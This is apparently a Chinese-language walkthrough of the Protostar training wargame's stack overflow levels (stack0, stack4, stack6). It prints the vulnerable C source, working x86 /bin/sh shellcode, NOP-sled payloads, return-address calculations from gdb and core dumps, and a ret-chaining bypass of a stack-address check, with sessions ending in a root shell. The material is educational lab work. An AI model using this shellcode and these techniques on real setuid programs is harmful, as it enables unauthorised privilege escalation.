这个网站是http://exploit-exercises.com/protostar。
Stack 0:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
直接输入65个A就可以了。
$ python -c 'print "A"*65'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable
$
Stack 4:(下面的方法还可以用于stack5)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
用的shellcode是网上找的:
\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
下面是过程:
$ python -c "print '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/shellcode.bin
$ cat /tmp/shellcode.bin
1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
$ export export SHELLCODE=$(perl -e 'print "\x90"x200')^C
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat /tmp/shellcode.bin)
$ env
USER=user
MAIL=/var/mail/user
OLDPWD=/opt/protostar
HOME=/home/user
LOGNAME=user
TERM=xterm
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
LANG=en_US.UTF-8
SHELL=/bin/sh
PWD=/opt/protostar/bin
SHELLCODE=��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
$ python -c 'print "A"*76 + "\x5a\xff\xff\xbf"' | ./stack4
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
# whoani
/bin//sh: whoani: not found
# whoami
root
上面的那个返回地址是由下面算出的,就是找到shellcode的环境变量前面的那个地址0xbffffecf,因为加了200个nop,直接取这中间的一个就可以,我是加了119就得到上面那个返回地址了。
$ gdb ./stack4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) break main
Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack4
Breakpoint 1, main (argc=1, argv=0xbffffcd4) at stack4/stack4.c:15
15 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb) i r esp
esp 0xbffffbd0 0xbffffbd0
(gdb) x/24s $esp+0x240
0xbffffe10: "r"
0xbffffe12: "HOME=/home/user"
0xbffffe22: "OLDPWD=/opt/protostar"
0xbffffe38: "LOGNAME=user"
0xbffffe45: "COLUMNS=80"
0xbffffe50: "TERM=xterm"
0xbffffe5b: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
0xbffffe99: "LANG=en_US.UTF-8"
0xbffffeaa: "SHELL=/bin/sh"
0xbffffeb8: "PWD=/opt/protostar/bin"
0xbffffecf: "LINES=24"
0xbffffed8: "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...
0xbfffffa0: "\220\220\220\220\220\220\220\220\220\220\061\300\061۰\006̀Sh---Type <return> to continue, or q <return> to quit---
/ttyh/dev\211\343\061\311f\271\022'\260\005̀1\300Ph//shh/bin\211\343PS\211ᙰ\v̀"
0xbfffffe2: "/opt/protostar/bin/stack4"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
stack 6:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
这道题主要就是防止eip转到栈上去执行shell(环境变量也在栈上,上面的用环境变量来存储shellcode的方法也不行)。现在主要是绕过0xbf000000这个检测(linux下的栈都是0xbf开头)。
方法一:直接用getpath函数的最后一条指令ret来覆盖main函数的返回地址,弹出ret到eip时,会执行ret指令(ret的地址是0x08开头,可以绕过上面的限制),再弹出栈头的数据到eip,这时如果栈头是shellcode的地址,那么就溢出成功了。数据格式如下(shellcode address可以选择 \x90*20 靠中间的地址,这个成功概率更大):
JUNK*80 | ret address | shellcode adress | \x90 *32 | shellcode
(1) 先找到ret 的地址,直接gdb载入,反汇编getpath这个函数,可以看到ret的地址是0x080484f9
$ gdb stack6
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push %ebp
0x08048485 <getpath+1>: mov %esp,%ebp
0x08048487 <getpath+3>: sub $0x68,%esp
0x0804848a <getpath+6>: mov $0x80485d0,%eax
0x0804848f <getpath+11>: mov %eax,(%esp)
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov 0x8049720,%eax
0x0804849c <getpath+24>: mov %eax,(%esp)
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea -0x4c(%ebp),%eax
0x080484a7 <getpath+35>: mov %eax,(%esp)
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov 0x4(%ebp),%eax
0x080484b2 <getpath+46>: mov %eax,-0xc(%ebp)
0x080484b5 <getpath+49>: mov -0xc(%ebp),%eax
0x080484b8 <getpath+52>: and $0xbf000000,%eax
0x080484bd <getpath+57>: cmp $0xbf000000,%eax
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov $0x80485e4,%eax
0x080484c9 <getpath+69>: mov -0xc(%ebp),%edx
0x080484cc <getpath+72>: mov %edx,0x4(%esp)
0x080484d0 <getpath+76>: mov %eax,(%esp)
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: movl $0x1,(%esp)
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov $0x80485f0,%eax
0x080484e9 <getpath+101>: lea -0x4c(%ebp),%edx
0x080484ec <getpath+104>: mov %edx,0x4(%esp)
0x080484f0 <getpath+108>: mov %eax,(%esp)
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb)
(2) 查看返回地址
$ gdb stack6
GNU gdb (GDB) 7.0.1-debian
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) break *getpath+43
Breakpoint 1 at 0x80484af: file stack6/stack6.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack6
input path please: aaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, getpath () at stack6/stack6.c:15
15 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x/32x $esp
0xbffffc20: 0xbffffc3c 0x00000000 0xb7fe1b28 0x00000001
0xbffffc30: 0x00000000 0x00000001 0xb7fff8f8 0x61616161
0xbffffc40: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffc50: 0x61616161 0x08040061 0xbffffc68 0x0804835c
0xbffffc60: 0xb7ff1040 0x080496ec 0xbffffc98 0x08048539
0xbffffc70: 0xb7fd8304 0xb7fd7ff4 0x08048520 0xbffffc98
0xbffffc80: 0xb7ec6365 0xb7ff1040 0xbffffc98 0x08048505
0xbffffc90: 0x08048520 0x00000000 0xbffffd18 0xb7eadc76
(gdb) disassemble main
Dump of assembler code for function main:
0x080484fa <main+0>: push %ebp
0x080484fb <main+1>: mov %esp,%ebp
0x080484fd <main+3>: and $0xfffffff0,%esp
0x08048500 <main+6>: call 0x8048484 <getpath>
0x08048505 <main+11>: mov %ebp,%esp
0x08048507 <main+13>: pop %ebp
0x08048508 <main+14>: ret
End of assembler dump.
(gdb) p 0xbffffc8c-0xbffffc3c
$1 = 80
(gdb)
(3) 这里要用coredump来查看相应的地址,不要在gdb中查看。
ulimit -c unlimited 不限制core文件的大小
cat /proc/sys/kernel/core_pattern 查看core文件位置与格式
echo 1 > /proc/sys/fs/suid_dumpable 设置生成core文件
上面就是设置coredump。接下来查看core文件
$ python -c "print 'A'*80+'X'*4" | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXAAAAAAAAAAAAXXXX
Segmentation fault (core dumped)
$ gdb -q -c /tmp/core.11.stack6.28688
Core was generated by `./stack6'.
Program terminated with signal 11, Segmentation fault.
#0 0x58585858 in ?? ()
(gdb) i esp
Undefined info command: "esp". Try "help info".
(gdb) i r esp
esp 0xbffffcc0 0xbffffcc0
(gdb) x/32x $esp-100
0xbffffc5c: 0x00000001 0x00000000 0x00000001 0xb7fff8f8
0xbffffc6c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc7c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc8c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc9c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffcac: 0x58585858 0x41414141 0x41414141 0x41414141
0xbffffcbc: 0x58585858 0x08048500 0x00000000 0xbffffd48
0xbffffccc: 0xb7eadc76 0x00000001 0xbffffd74 0xbffffd7c
(gdb)
从上面看到返回地址是0xbffffcbc,现在来构造数据
'A'*80 + '\xf9\x84\x04\x08'+'\xc6\xfc\xff\xbf'+'\x90'*20 + shellcode
shellcode直接用上面的那个:
$ python -c "print 'A'*80 + '\xf9\x84\x04\x08'+'\xc6\xfc\xff\xbf'+'\x90'*20 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/ dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/ bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' " | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������������������������1�1۰̀Sh/ttyh/ dev��1�f�'�̀1�Ph//shh/ bin��PS�ᙰ
Segmentation fault (core dumped)
$ python -c "print 'A'*80 + '\xf9\x84\x04\x08'+'\xc6\xfc\xff\xbf'+'\x90'*20 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" |./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������������������������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
# whoami
# root